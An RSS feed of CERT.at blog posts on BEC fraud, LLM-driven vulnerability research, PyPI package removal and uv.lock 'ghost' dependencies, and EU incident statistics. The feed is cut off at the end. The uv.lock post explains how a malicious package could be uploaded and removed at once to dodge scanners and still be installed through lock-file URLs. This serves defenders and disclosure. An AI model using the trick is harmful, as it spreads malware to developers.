https://www.cert.atThis feed contains the blog from www.CERT.athttps://www.cert.at/en/blog/2026/8/increased-fraud-attempts-through-bec<p class="block">In recent weeks, we have been receiving an increasing number of reports about criminals targeting Austrian organizations through Business Email Compromise (BEC).</p> <p class="block">In this type of fraud, criminals impersonate a trusted person (such as management, a known supplier, a colleague from the HR department, ...) in order to get employees to carry out bank transfers, change payment or bank details, or hand over sensitive information.</p> <p class="block">BEC is not a single, uniform type of attack, but rather a "family" of scenarios that all rely on identity deception. Some examples:</p> <ul> <li class="block"><strong>Impersonation of management</strong>: Attackers pose as a senior executive and write to the finance or accounting department with a supposedly urgent, confidential request for a transfer. This is to be carried out as quickly as possible and, above all, without the knowledge of other members of the organization.</li> <li class="block"><strong>Invoice fraud</strong>: Attackers pose as a supplier or service provider of an organization (sometimes even using the original mail accounts of a legitimate company that was previously compromised by the criminals) and send an "updated" invoice or a notice that the supplier's bank details have changed, in order to redirect a legitimate, expected payment to an account controlled by the criminals.</li> <li class="block"><strong>Hijacking of an email thread</strong>: Attackers gain access to an email mailbox (for example, via credentials compromised by an infostealer or through a vulnerability in a web interface), covertly observe a conversation surrounding a real invoice or an actual business transaction, and subsequently inject false payment instructions into that conversation, which makes the request appear authentic.</li> <li class="block"><strong>Data theft</strong>: Instead of (or in addition to) a monetary transaction, the attackers pose as an executive and ask the HR department for sensitive information such as payroll tax statements or employees' personal data. This data is then subsequently misused for identity theft and / or further fraudulent acts.</li> </ul> <p class="block">What distinguishes this type of attack from others is the low technical effort involved. In most cases, the attackers' main tool is a credible story and at least a rudimentary understanding of how communication normally works within companies and how the approval of financial transactions typically proceeds.</p> <p class="block">By exploiting organizational trust and internal processes in this way, this form of fraud bypasses many of the common technical protective measures that companies and organizations rely on for defense against other forms of cybercrime.</p> <h1 class="block">Detection</h1> <p class="block">Although perpetrators act rather skillfully by now, there are certain characteristics within messages that indicate a fraud attempt is underway.</p> <ul> <li class="block"><strong>Feigned urgency</strong>, often combined with a request for secrecy: Perpetrators try to induce stress in order to weaken the victims' vigilance - for example, by demanding that a transfer be carried out immediately and that no one be told about it, often under threat of consequences for the victim.</li> <li class="block"><strong>Circumvention of normal approval processes</strong>: The perpetrators push to skip normal approval processes or at least to speed them up. Sometimes criminals have an intimate understanding of the targeted organization and demand amounts that fall below an internal approval threshold.</li> <li class="block"><strong>Unavailability of the "responsible person"</strong>: In their messages, the criminals claim that the person they are impersonating cannot be reached by phone, citing various reasons, so that communication takes place exclusively via digital mail.</li> <li class="block"><strong>Sudden changes</strong>: An unexpected, unsolicited change to the bank or payment details of a known supplier, service provider, or employee is a very clear warning sign. The same applies to a sudden change in writing style within an existing email conversation.</li> </ul> <p class="block">There are also indicators on a technical level that represent grounds for suspecting a fraud attempt:</p> <ul> <li class="block"><strong>Domain changes</strong>: A sender domain or reply-to domain that is almost, but not quite, correct (e.g. a swapped letter, an additional hyphen, a different TLD, ..)</li> <li class="block"><strong>Irregularities in the email address</strong>: The display name in the email client is correct, but when checking the full headers, the actual email address does not match.</li> <li class="block"><strong>Fake forwarding</strong>: An apparently forwarded email conversation that, upon inspection of the headers, actually originates from an external domain rather than from the organization's own mail system.</li> <li class="block"><strong>Unusual logins</strong>: Logins from a new device, a new country, or from an unknown IP-address, or an unexpected password reset on an account (especially shortly before a payment instruction), are strong indicators of illegitimate activity.</li> </ul> <h1 class="block">Countermeasures</h1> <p class="block">Unlike many other types of attacks, protective measures against BEC are primarily situated at the policy level:</p> <ul> <li class="block"><strong>Well-documented, fixed, non-negotiable procedures</strong> should exist for financial transactions and changes to data of service providers and suppliers. It's particularly important that employees are aware that these procedures must not be overridden by supposed urgency, hierarchy, and / or demands for confidentiality.</li> <li class="block">Every request to change payment / bank details or every urgent transfer request should be <strong>verified by phone using an already known, stored number</strong> - and never using a number provided within an "instructing" email itself.</li> <li class="block">The <strong>four-eyes principle</strong> should apply to financial transactions, whereby one person may never both approve and execute a transfer.</li> <li class="block"><strong>Awareness training should</strong> explicitly address the topic of BEC, since the approach here is entirely different from "classic" phishing emails.</li> </ul> <p class="block">Nevertheless, there are also measures at the technical level that, while generally advisable and valid on their own, make this type of fraud particularly difficult:</p> <ul> <li class="block">Wherever technically and organizationally feasible, <strong>enforce modern multi-factor authentication (MFA) for all email and remote access accounts</strong>. Exceptions to these authentication measures should be viewed as highly critical within the organization's own risk management and should be avoided as much as possible.</li> <li class="block">Apply <strong>conditional access policies</strong> (blocking access in the case of unusual geographic origin / unusual device) and set up corresponding alerting.</li> <li class="block"><strong>Implement SPF, SKIM, and DMARC</strong> and enforce them accordingly, with DMARC set to "reject" for your own organization's domains.</li> <li class="block"><strong>Restrict and log the creation of automatic forwarding rules</strong>, and block forwarding to external domains via policy.</li> </ul>Tue, 25 Aug 2026 21:04:49 GMT+0100https://www.cert.at/en/blog/2026/8/increased-fraud-attempts-through-becCERT.at2026-08-25T21:04:49Zhttps://www.cert.at/en/blog/2026/6/on-the-cyber-security-implications-of-current-llms<p class="block">The rapid progress in the capabilities of LLMs for cyber-security related tasks naturally leads to the question of what the right response should be. With regards to CISOs, this (German) <a href="https://www.cert.at/de/aktuelles/2026/4/llm-basierte-schwachstellensuche">article on our webpage</a> is my summary which also links to the <a href="https://labs.cloudsecurityalliance.org/mythos-ciso/">paper from the Cloud Security Alliance</a> .</p> <p>Naturally, also the policy layer has woken up, and &ndash; as is their usual response &ndash; <strong>something needs to be done</strong>. (Or more precisely: we need to be seen doing something.) What exactly the EU or national politicians should do to steer the current developments in the right direction is still an open question. Some proposals are bubbling up in various forums, and some are <a href="https://codeberg.org/tzafaar/Buffers_overflow_into_policy/src/branch/main">formulated openly</a>.</p> <p>One of the documents I&rsquo;ve been asked to comment on triggered my inner Monk. The structure wasn&rsquo;t consistent so I started to sketch out how I would approach the problem. The issue is that the LLMs change multiple different things, and unless you are careful not to mix these up, the policy response will be a confused mess.</p> <p>So, here is a rough outline of how I structure the problem set in my mind. It&rsquo;s not a complete treatment of all the points, just a scaffolding that needs to be fleshed out. Nevertheless, I think it could provide some value.</p> <h2>What has happened?</h2> <ul> <li>Models are improving, 2025 -&gt; 2026 was a significant step</li> <li>It&rsquo;s not just Anthropic, other frontier models are at a similar level</li> <li>Mythos was a genius PR stunt to prepare for the IPO of Anthropic</li> <li>Open weight models are a bit behind but are already pretty good and will reach the level of Mythos in a few months</li> <li>Research in this area is intensive and happening all over the world. Further progress is likely to be rapid and significant</li> </ul> <h2>What can these models do now?</h2> <ul> <li>vulnerability research on software</li> <li>assist in patch development</li> <li>automated penetration testing</li> <li>patch reverse engineering: finding exploits for vulnerabilities which just got fixed</li> <li>targeted search for vulnerabilities based on published advisories</li> <li>chaining of vulnerabilities to create complex exploit code</li> <li>AI-Assisted or fully agentic kill-chains can execute very quickly</li> </ul> <h2>What is the impact?</h2> <ul> <li>The rate of new vulnerabilities findings has increased significantly <ul> <li>strain on the resources to deal with them (triage, patch-dev, testing, publication, rollout)</li> <li>that hits: vendors, Open-Source maintainers, CSIRTs, customers, users</li> <li>we don't know yet if this is a one-time wave, or a permanent increase in the rate of vuln-findings</li> </ul> </li> <li>Duplicate findings are increasing <ul> <li>Open-Source maintainers stop treating reports confidentially</li> <li>The CVD secrecy time-window is collapsing</li> </ul> </li> <li>Once a vulnerability is disclosed/patched, exploit code will be developed very quickly <ul> <li>the window for planned patching (testing, rollout, ...) is shrinking</li> </ul> </li> <li>Chaining of vulns can create a highly relevant meta-vuln out of multiple low-rated vulns <ul> <li>low-CVSS vulns cannot be ignored</li> </ul> </li> <li>Legacy / un-maintained software becomes a critical risk <ul> <li>if fully supported code struggles with keeping up, old codebases without active maintenance just cannot</li> </ul> </li> <li>Quicker kill-chain execution puts very strong pressure on the reaction-times of defenders <ul> <li>SOC speed for detection must improve</li> <li>Can humans react quickly enough?</li> </ul> </li> </ul> <h2>What should be done?</h2> <ul> <li>Vendors <ul> <li>get ahead of the curve: use LLMs in the QA process</li> <li>be sure to have enough manpower to deal with the wave</li> <li>CVD processes need to become faster</li> </ul> </li> <li>CSIRTs <ul> <li>revisit the advisory process, can we continue with the current scheme?</li> <li>Should LLM-based pen-testing be part of the portfolio of CSIRTs?</li> </ul> </li> <li>Critical Infrastructure <ul> <li>Security basics become even more important (e.g. reduce attack surface)</li> <li>improve detection and automated response (SOAR)</li> </ul> </li> <li>EU Policy <ul> <li>Trying to regulate these models is a fool's game, the cat is out of the bag</li> <li>A "we need to build datacentres for AI in Europe"-response is also likely to be wrong - unless built in a 100% renewable energy&nbsp; and cooling setting</li> <li>Check what others are doing. E.g., <a href="https://www.imda.gov.sg/about-imda/emerging-technologies-and-research/artificial-intelligence#Model-AI-Governance-Framework-for-Agentic-AI">Singapore on Agentic AI</a>, <a href="https://www.aisi.gov.uk/">UK funding a Research Institue</a>, ...</li> <li>Check how the "best current security practices" are changing due to LLMs, make sure security mandates are updated</li> <li>Check if NIS2 CVD, CRA vuln handling, and ENISA's CVD processes are capable of handling the current wave</li> </ul> </li> </ul> <p class="block">I might be updating this list over the next weeks.</p> <p class="block">Should we start a betting pool on what ideas the EU will come up with?</p>Mon, 01 Jun 2026 14:21:06 GMT+0100https://www.cert.at/en/blog/2026/6/on-the-cyber-security-implications-of-current-llmsCERT.at2026-06-01T14:21:06Zhttps://www.cert.at/en/blog/2026/3/lock-the-ghost<p class="block" style="text-align: justify;"><strong>In the software&nbsp; world, &ldquo;remove&rdquo; is not equal to "gone." This is crystal clear. There is always a good reason for that, but even the best reason does not have to be intuitive or expected by the users. Let&rsquo;s take a short trip through how Python Package Index handles removals and how we can lock the ghost in an uv.lock file &ndash; forever!</strong></p> <h2 class="block">PyPI Package Lifecycle<strong><br /></strong></h2> <p class="block" style="text-align: justify;">Historically, package lifecycle in PyPI was a binary state: the package existed or not. This was later extended when the &ldquo;quarantine&rdquo; status was introduced [1] to temporarily block resolving packages during security investigations. Here it is also important to mention that when a package is removed by PyPI administration after deeming it malicious, the project name is routinely blocked from being reclaimed. This is not the case for packages removed by their owners, and it leads to a threat of taking over the name of a removed package, described by JFrog [3]. Package owners can now prevent this by archiving a project instead of removing it [4].</p> <p class="block" style="text-align: justify;">This organic growth of the package lifecycle was finally deeply discussed and formalized last year in PEP 792 [5], resulting in four package status markers: active, archived, quarantined, and deprecated [6], in addition to the package removal. Moreover, one can also play with the specific releases, which could be removed or yanked (&ldquo;soft&rdquo; removal intended for not breaking pinned versions [7]).</p> <h2 class="block">Locking dependencies</h2> <p class="block" style="text-align: justify;">Managing dependencies is always a cry-triggering topic. The holy grail is achieving reproducible environments and builds. The classic Python approach is a simple lock file with just version pinning, represented by pip-tools [8], which could also be used in integrity-checking mode with hash validation. The step forward is more complex lock files, probably best known from the NPM world. Such a file extends standard version pinning with additional information, including hashes, filenames, and machine-readable dependency trees. They solve many problems but also introduce new issues. Who reviews all the automated package-lock.json changes [9]?</p> <p class="block" style="text-align: justify;">In Python, we have at least four manager-specific implementations: uv.lock, Pipfile.lock, poetry.lock, pdm.lock. Last year&nbsp; also brought an official pylock.toml [10].</p> <h2 class="block" style="text-align: justify;">The Ghost and the uv.lock File</h2> <p class="block" style="text-align: justify;">Now, let&rsquo;s do an experiment. I created a package in the test.pypi.org and added it as a dependency to a project using uv. Thereafter, the uv.lock file was generated, and the package was removed from the index. Finally, I attempted to install the project in a fresh virtualenv. How it went:</p> <p class="block" style="text-align: center;"><img src="https://www.cert.at/media/files/news/blog/20260310-lock-the-ghost/commands.png" width="900" height="426" /><br /><em>Commands executed after removing the dependency package. Note that the additional index URL was declared in the pyproject.toml.</em></p> <p class="block" style="text-align: justify;">And to confirm:</p> <p class="block" style="text-align: center;"><em><img src="https://www.cert.at/media/files/news/blog/20260310-lock-the-ghost/ghost.png" width="750" height="713" /></em><br /><em>We found the ghost!</em></p> <p class="block" style="text-align: justify;">As you can see, at first <strong><span style="color: #993300;">(1)</span></strong>, uv was unable to install the dependencies using the standard pip-compatible interface &ndash; obvious, as the package didn&rsquo;t exist at all. But uv did not complain once I used the &ldquo;uv sync&rdquo; command, leveraging the lock file <span style="color: #993300;"><strong>(2)</strong></span> and successfully installed the &ldquo;ghost&rdquo; package. In both cases, uv was instructed not to use local cache. As such, we got the dependency installed &ndash; the dependency that has already been removed from the upstream index!</p> <h2 class="block" style="text-align: justify;">How is it possible?</h2> <p class="block">If you look at the uv.lock, you will see something like this:</p> <p class="block" style="text-align: center;"><img src="https://www.cert.at/media/files/news/blog/20260310-lock-the-ghost/uvlock.png" alt="" width="900" height="421" /><br /><em>The uv.lock used in the demonstration</em></p> <p class="block" style="text-align: justify;">If you look closely, you could see in lines 20 and 22 URLs directly to the dependency distribution files. They actually contain the package code. The philosophy behind uv is to be an extremely fast package manager. In this spirit, the uv.lock file contains everything needed to download and install dependencies without having to consult the index API anymore.</p> <p class="block" style="text-align: justify;">But I removed the package, didn&rsquo;t I? Well, I did, and it means the package is gone from the index. You can no longer see anything under https://test.pypi.org/project/the-ghost/&nbsp; However, PyPI does not remove the underlying distribution files. And if you have the link, you can still access it &ndash; and so did uv in this example!</p> <p class="block" style="text-align: justify;">I tested this behavior on four different Python package managers supporting lock files. Only uv stores the direct URLs and omits querying the index during installation. My experiment&rsquo;s code is available in a repository [11].</p> <h2 class="block" style="text-align: justify;">The Malicious Ghost</h2> <p class="block" style="text-align: justify;">In most cases, this behavior does not need to be a big problem (it even may be a bit helpful). However, consider the malicious packages, for example, used in the North Korean fake recruitment tasks, which are often GitHub repositories with projects referencing malicious dependencies from NPM or PyPI [12]. Such packages could be quickly removed from PyPI, but the related GitHub repositories are not always identified. If the threat actor uses different Git hosting, the situation is even more complex, as they tend to have limited code search functionality. If the malicious repository uses uv.lock to pin dependencies, the malicious code stays active even after the removal from the PyPI!</p> <p class="block" style="text-align: justify;">Moreover, we all still have the xz story in mind [13]. One of the reasons it almost succeeded was hiding malicious code parts in the test binary files. No one can effectively review binary files in every change, and so it is with all lock files as well: they are big, auto-generated, and even hidden in the review flow of git services like GitHub or GitLab. What keeps you from including only there a malicious dependency? This scenario was described by Snyk a few years ago in the NPM example [9]. Now, given that PyPI leaves the distribution files behind, you can try a trick: upload and immediately remove the package from the registry, before the security vendors even notice its existence. This way, you can significantly slow down the detection by avoiding the automatic analysis. And the uv.lock still lets you install the malicious dependency. If you use a different manager, just point it to the file URL directly &ndash; a bit more suspicious to see, but still easy to miss in review.</p> <p class="block" style="text-align: justify;">This is not an entirely theoretical scenario; I do have examples of Python packages put in the PyPI&rsquo;s quarantine so quickly that some good vendors haven't noticed they ever existed.</p> <h2 class="block" style="text-align: justify;">Versions are not idempotent in PyPI</h2> <p class="block">...but distribution files are.</p> <p class="block" style="text-align: justify;">There is also one more interesting edge case related to removing packages from PyPI. As I already mentioned, if the package was removed, the name could be reused by another user. So was the case of &ldquo;umap&rdquo;, which was removed by the original author and later taken over with a name hijack attempt [14]. Such a scenario was already covered by JFrog [3]. The weird thing? The new owner uploaded the package with the same version number as the previous one. How?</p> <p class="block" style="text-align: justify;">A Python package can have multiple distribution files, e.g. with the native module compiled for different architectures or Python versions. The most typical case is to have a source distribution and a &ldquo;compiled&rdquo; wheel distribution. In the case of umap, the original author uploaded only the source distribution. The safeguards PyPI has in place do not allow uploading the same distribution type again (based on strictly defined filename), but you can always upload another type &ndash; even if the package belongs now to another user.</p> <p class="block" style="text-align: justify;">In the context of our lock files, let&rsquo;s note that in such a case, they can help you stay secure by keeping the old distribution file &ndash; but only until you regenerate the lock.</p> <h2 class="block" style="text-align: justify;">Make it gone?</h2> <p class="block" style="text-align: justify;">So, what if we just decided that "removed&rdquo; means &ldquo;gone&rdquo;, and started clearing distribution files when deleting a package? It&rsquo;s already removed, right? Well, the world isn&rsquo;t so easy. Just the concept of removing anything from a package registry has its opponents, and not without reasons. Open-source community is an interconnected network, where you never know who depends on you. NPM limited package removal possibilities after the case of the left-pad package, which was removed by the author, causing enormous downstream issues [17]. The PyPI has its case of atomicwrites [18], which triggered a long discussion [19], but up to now, there is no conclusion on the eventual policy change.</p> <p class="block" style="text-align: justify;">I actually don&rsquo;t have a strong opinion on allowing or not removals in general.&nbsp;However, I believe that objects removed for security reasons, like compromised releases or malicious packages, should not be accessible through the previous delivery channels to prevent spreading the malware to unaware users. Such malicious code could&nbsp; still be available for research purposes, just in another place and with at least a simple protection against accidental downloading and executing.</p> <h2 class="block" style="text-align: justify;">Do ghost packages really exist?</h2> <p class="block" style="text-align: justify;">I tried to verify if such &ldquo;ghost packages&rdquo; exist and someone really downloads removed distributions. PyPI publishes a lot of analytics data as BigQuery datasets, but unfortunately not enough to clearly state if (and when) the package was removed. As such, I used the &ldquo;umap&rdquo; example.</p> <p class="block" style="text-align: justify;">In the table below, you can see downloads of the last legitimate umap version after 1st January 2026. At this time this distribution was &ldquo;removed&rdquo; for about two months. Still, it was downloaded more than 1000 times, mainly by &ldquo;uv sync&rdquo; &ndash; the lock file installation command from uv.</p> <p class="block" style="text-align: center;"><img src="https://www.cert.at/media/files/news/blog/20260310-lock-the-ghost/umap-stats.png" alt="Most downloaded umap distribution files after 2026-01-01 " width="900" height="179" /><br /><em>Most downloaded umap distribution files after 2026-01-01&nbsp;</em></p> <p class="block" style="text-align: justify;">It&rsquo;s worth mentioning that in this case, the availability of the removed distribution surely helped the developers keep their projects working. On the other hand, silent dependency on the removed package makes them more vulnerable to the name hijacking &ndash; as it was in this case. If a developer regenerated the lock file while the package was controlled by an attacker, they could lock the malicious file.</p> <p class="block">I checked a few more packages I know to be removed. In most cases, the dataset shows a few downloads from tools identified as &ldquo;Browser&rdquo; or mirroring utilities. I suspect the scale of ghost packages in real projects is not big, but a more in-depth investigation would be required to verify this.</p> <h2 class="block">Lawyers enter the room</h2> <p class="block" style="text-align: justify;">I have a strange habit of reading legal documents, so I did look into&nbsp;PyPI&rsquo;s Terms of Service. They have two interesting points related to removing content. First, you obviously grant the Python Software Foundation some rights to distribute what you upload. However [15]:</p> <blockquote> <p class="block" style="text-align: justify;">Because you retain&nbsp;ownership of and responsibility for Your Content, we need you to grant us &mdash; and other PyPI Users &mdash; certain legal permissions, provide in subections 4 &mdash; 6 below. These license grants apply to Your Content. If you upload Content that already comes with a license granting PSF the permissions we need to run our Service, no additional license is required. You understand that you will not receive any payment for any of the rights granted in subsections 4 &mdash; 6 below. The licenses you grant to us will end when you remove Your Content from our servers.</p> </blockquote> <p class="block">And further, we can also find a fragment about deleting an account [16]:</p> <blockquote> <p class="block" style="text-align: justify;">We will retain and use your information as necessary to comply with our legal obligations, resolve disputes, and enforce our agreements, but barring legal requirements, we will delete your full profile and the Content of your Project(s) and/or Organizations immediately upon cancellation or termination (though some information may remain in encrypted backups). This information can not be recovered once your Account is canceled. Activity logs reflecting user actions taken on Projects and Organizations are retained as long as reasonably required.</p> </blockquote> <p class="block" style="text-align: justify;">I&rsquo;m not a lawyer, and I see plenty of edge cases. As a PyPI user, I feel the theory and practice could be a bit misaligned. I notified PSF about my doubts, and they are analyzing the situation.</p> <h2 class="block" style="text-align: justify;">How should I live?</h2> <p class="block" style="text-align: justify;">To sum up, I presented that removed packages could still be reached from the PyPI infrastructure, and using uv.lock files can be used to hide malicious packages surviving removal from the index. Permanent existence of removed releases may have some advantages, but it&rsquo;s not the most intuitive policy. I did not check how other package indexes behave.</p> <p class="block" style="text-align: justify;">Regardless of the ecosystem, if you leverage lock files in your projects, be sure that your dependency security scanning covers them and not just the initial dependency declaration. If you wonder what to do when installing an untrusted project from GitHub or similar services, the answer is simple: don&rsquo;t.</p> <h3 class="block" style="text-align: justify;">References</h3> <p class="block">[1]&nbsp;<a href="https://blog.pypi.org/posts/2024-08-16-safety-and-security-engineer-year-in-review/#project-lifecycle-status-quarantine">https://blog.pypi.org/posts/2024-08-16-safety-and-security-engineer-year-in-review/#project-lifecycle-status-quarantine&nbsp;</a><br />[2]&nbsp;<a href="https://packaging.python.org/en/latest/specifications/project-status-markers/">https://packaging.python.org/en/latest/specifications/project-status-markers/&nbsp;</a><br />[3]&nbsp;<a href="https://jfrog.com/blog/revival-hijack-pypi-hijack-technique-exploited-22k-packages-at-risk/">https://jfrog.com/blog/revival-hijack-pypi-hijack-technique-exploited-22k-packages-at-risk/&nbsp;<br /></a>[4] <a href="https://blog.pypi.org/posts/2025-01-30-archival/">https://blog.pypi.org/posts/2025-01-30-archival/&nbsp;</a><br />[5] <a href="https://peps.python.org/pep-0792/">https://peps.python.org/pep-0792/&nbsp;</a><br />[6] <a href="https://packaging.python.org/en/latest/specifications/project-status-markers/">https://packaging.python.org/en/latest/specifications/project-status-markers/&nbsp;</a><br />[7] <a href="https://peps.python.org/pep-0592/">https://peps.python.org/pep-0592/&nbsp;</a><br />[8] <a href="https://pip-tools.readthedocs.io/en/stable/">https://pip-tools.readthedocs.io/en/stable/&nbsp;</a><br />[9] <a href="https://snyk.io/blog/why-npm-lockfiles-can-be-a-security-blindspot-for-injecting-malicious-modules/">https://snyk.io/blog/why-npm-lockfiles-can-be-a-security-blindspot-for-injecting-malicious-modules/&nbsp;</a><br />[10] <a href="https://peps.python.org/pep-0751/">https://peps.python.org/pep-0751/&nbsp;</a><br />[11] <a href="https://github.com/kam193/lock-the-ghost">https://github.com/kam193/lock-the-ghost&nbsp;</a><br />[12] <a href="https://www.reversinglabs.com/blog/fake-recruiter-campaign-crypto-devs">https://www.reversinglabs.com/blog/fake-recruiter-campaign-crypto-devs&nbsp;</a><br />[13] <a href="https://en.wikipedia.org/wiki/XZ_Utils_backdoor">https://en.wikipedia.org/wiki/XZ_Utils_backdoor&nbsp;</a><br />[14] <a href="https://github.com/kam193/package-campaigns/issues/5#issuecomment-3756880711">https://github.com/kam193/package-campaigns/issues/5#issuecomment-3756880711&nbsp;</a><br />[15] <a href="https://policies.python.org/pypi.org/Terms-of-Service/#3-ownership-of-content-right-to-post-and-license-grants">https://policies.python.org/pypi.org/Terms-of-Service/#3-ownership-of-content-right-to-post-and-license-grants&nbsp;</a><br />[16] <a href="https://policies.python.org/pypi.org/Terms-of-Service/#2-upon-cancellation">https://policies.python.org/pypi.org/Terms-of-Service/#2-upon-cancellation&nbsp;</a><br />[17] <a href="https://en.wikipedia.org/wiki/Npm_left-pad_incident">https://en.wikipedia.org/wiki/Npm_left-pad_incident&nbsp;</a><br />[18] <a href="https://github.com/untitaker/python-atomicwrites/issues/61">https://github.com/untitaker/python-atomicwrites/issues/61&nbsp;</a><br />[19]&nbsp;<a href="https://discuss.python.org/t/stop-allowing-deleting-things-from-pypi/17227">https://discuss.python.org/t/stop-allowing-deleting-things-from-pypi/17227&nbsp;</a></p>Tue, 10 Mar 2026 16:31:20 GMT+0100https://www.cert.at/en/blog/2026/3/lock-the-ghostCERT.at2026-03-10T16:31:20Zhttps://www.cert.at/en/blog/2026/2/incident-reporting-eu-wide-statistics<p>At the last CSIRTs Network meeting we got treated to a powerpoint versions of the statistics that ENISA publishes under <a href="https://ciras.enisa.europa.eu/">https://ciras.enisa.europa.eu/</a></p> <p>The mathematician inside me was not impressed, and as I&rsquo;m prone to do, I did not withhold my opinion. This blog post explains why I&rsquo;m so unhappy with ENISA&rsquo;s analysis.</p> <h2>Timeline</h2> <p>First, let&rsquo;s look at the overall timeline:</p> <p><img src="https://www.cert.at/media/files/news/blog/20260222/2026-2-0_17-42_IncidentsBySectorPerYear.png" alt="" width="814" height="600" /></p> <p>What&rsquo;s wrong here?</p> <h3>Axis linearity</h3> <p>Most of the vertical bars cover the timespan of a year, whereas the last 4 cover only quarters. This messes up the intuitive understanding of the diagram in two ways:</p> <ul> <li>The x-axis is not covering time in a linear way</li> <li>You can&rsquo;t compare the heights of the last 4 bars to the ones from before &ndash; you&rsquo;re best off ignoring them as the full year 2025 is also in the graph.</li> </ul> <p>As I&rsquo;m creating similar graphs for the Austrian data, I can sympathise with the quest of doing both long-term statistics as well as conveying detailed data from the recent months. My solution is the following:</p> <ul> <li>Do a purely yearly graph for the long-term view of the overall numbers. If the last year is partial, that&rsquo;s ok. People understand that. I sometimes think it might be worthwhile to scale up the last year and draw it shaded, just to indicate where the full year will land if the reporting rate stays the same.</li> <li>And have a second graph covering the numbers per month, reaching back 6 to 18 months. That would also work with quarters.</li> </ul> <h3>&ldquo;Other&rdquo;</h3> <p>The first 8 years cover only incidents in the sector &ldquo;other&rdquo;. If I&rsquo;m not mistaken, these are all reports that were collected via the telecommunication regulation. Only with 2020, NIS1 kicked in and we see the first reports from the NIS sectors.</p> <p>So, if CIRAS is aggregating NIS reporting with other regimes like DORA and Telecoms, then please label the data as such. It looks a bit like we&rsquo;re mix and matching data received due to different regulations.</p> <h3>Impact of Regulations</h3> <p>One important piece of information for us here in Austria is the effect of NIS2 on the number of reports we can expect when the NIS2 transpositions goes live later in 2026. These diagrams do not give us any indication what to expect. The reason is that the NIS2 transpositions in the EU Member states did go live at the same moment: that process is still ongoing. Thus, the expected jumps in reports have happened (or will happen) at different moments in time, thus their effects are smeared over more than two years in this diagram, completely obscuring their effect.</p> <p>Recommendation: create a diagram where the X-axis is not the calendar year, but months after NIS2 went live in each MS. I&rsquo;d also use thin lines to show each MS&rsquo;s data (not labelled, I we can&rsquo;t disclose individual numbers) and a thick line (or bars) for the overall data.</p> <p>Do the same for NIS1.</p> <h2>Root Causes</h2> <p><img src="https://www.cert.at/media/files/news/blog/20260222/2026-2-0_18-34_RootCausePerYear.png" alt="" width="814" height="400" /></p> <p>This development is wild. For a long time, &ldquo;System Failures&rdquo; completely dominated &ldquo;Malicious Actions&rdquo;, That&rsquo;s also what I see in the NIS1 data from Austria, and what I heard from a few colleagues I asked during the meeting. <strong>But in 2025, "Malicious Actions" suddenly overtook "Malfunctions".</strong> So, what&rsquo;s going on?</p> <p>This is where the graphs provided by ENISA simply give no answer, and where the presentation from ENISA did also not provide any insight.</p> <p>Imagine you're doing statistics in the health sector, aggregating data from hospitals. For years on end, the root cause for emergency treatments were accidents by a huge margin, but last year that changed to 50% intentional violence. If you presented data showing that change in&nbsp;a press conference&nbsp;without further explanation, you would be crucified. And rightfully so. This is such a significant change in the trend, that it must trigger a second look. Is this change only happening in one city, oder the whole country? How much is this shift in data a result of changes in reporting processes? Is this harmless, e.g. we're now including data that we previously did not include in the reporting, or was there really a huge increase in violence in our country?</p> <p>What I see in our NIS1 data is that the voluntary reporting shows a much higher rate of malicious activity than mandatory reporting. So it would be interesting to see the cross-tabs of &ldquo;Incident&rdquo; / &rdquo;Significant Incident&rdquo; with the root case.</p> <p>Is this switch in root causes also related to the implementation of NIS2? Probably yes, but with the published data, we don&rsquo;t know. Is there a geographic or sectoral tilt? Also not covered.</p> <h2>Uniformity of Reporting</h2> <p>This brings me to a question which the data published by ENISA completely side-steps: <strong>Are there systematic differences in how the different member states report incidents?</strong></p> <p>I&rsquo;ve heard from a mid-sized MS that their reporting numbers are pretty low &nbsp;- even less than what Austria is reporting. If a small MS just set very low thresholds or managed to convince their entities to voluntarily report small issues, then they might completely drown out the numbers of some larger states.</p> <p>We might have a systematic statistical problem at our hands.</p> <p>If the way MS implementing reporting is really diverging a lot, then just adding the absolute numbers together is a rather pointless exercise. The results will be misleading.</p> <p>What is really needed here is some statistical analysis that looks at what patterns are universal across the EU and where do we have outliers. Optimally, you would plot the result on a map, but if we cannot publish country-level breakdowns, then we at least can give statistics on how certain parameters are distributed across the 27 MS. For example:</p> <ul> <li>Reports (by type) per time scaled by population size</li> <li>Ratio between &ldquo;Incidents&rdquo; and &ldquo;Significant Incidents&rdquo;</li> <li>Distribution between sectors</li> <li>Distribution of root causes (divided out by Incident type)</li> </ul> <p>If the NIS implementation were uniform, there should only be minor, explainable differences (more Banks in LU, more digital service providers in NL, etc.).&nbsp; Anything major, which cannot be explained by delays in NIS2 transposition, should trigger a manual investigation.</p> <p>We don&rsquo;t necessarily need a uniform implementation of incident reporting. But we need to be aware if that&rsquo;s not the case and what that means for policy decisions based on the numbers from CIRAS.</p> <p>As they stand right now, I don&rsquo;t think they are fit for decision making.</p>Sun, 22 Feb 2026 19:54:39 GMT+0100https://www.cert.at/en/blog/2026/2/incident-reporting-eu-wide-statisticsCERT.at2026-02-22T19:54:39Zhttps://www.cert.at/en/blog/2026/2/lawful-access-to-encrypted-data-general-considerations<p>Last week, I wrote a blog post on<a href="https://www.cert.at/en/blog/2026/2/lawful-access-to-encrypted-data-why-is-this-so-hard-to-do"> why the problem of lawful access to encrypted data is so tricky</a>, this week I want to continue with a discussion on the general considerations you should keep in mind when thinking about this topic.</p> <p>Important note: I think LE is well aware of these considerations and agrees with most of my conclusions.</p> <h2>Regulatory Overreach</h2> <p>As long as citizens are free to program themselves, or download software from the Internet, and run that applciation on their own devices, then there will be ways to evade any mechanism that the state can think of to give LE access to encrypted data.</p> <p>I see no appetite to restrict generic computing or start a government licensing scheme for communication software on any side of the discussion.</p> <p>Similarly, there is no push to tightly regulate the properties of communication services. Even in Australia, where there is a clear legal mandate to force the operators into compliance, the <a href="https://www.homeaffairs.gov.au/about-us/our-portfolios/national-security/lawful-access-telecommunications/assistance-and-access-industry-assistance-framework"> law states </a> that &ldquo;Importantly, a TCN is expressly prohibited from requiring the building of a capability to decrypt information or remove electronic protection.&rdquo;</p> <h2>No perfect solution</h2> <p>As a corollary to the first point, there cannot be a solution that will work in 100% of the cases when LE wants (and gets a proper warrant) to access encrypted data.</p> <p>There will always be skilled criminals, state actors, technology &amp; privacy enthusiasts, niche platforms or emerging technology that will not be covered by the access solution.</p> <p>Open Source is also incredibly hard to tackle here.</p> <p>We just need to accept that.</p> <h2>No Weakening of Encryption Algorithms</h2> <p>Previously, the United States government tried to regulate or influence the strength of the encryption algorithms that are widely deployed. That ranged from the design of <a href="https://en.wikipedia.org/wiki/Data_Encryption_Standard">DES</a> , to &ldquo;<a 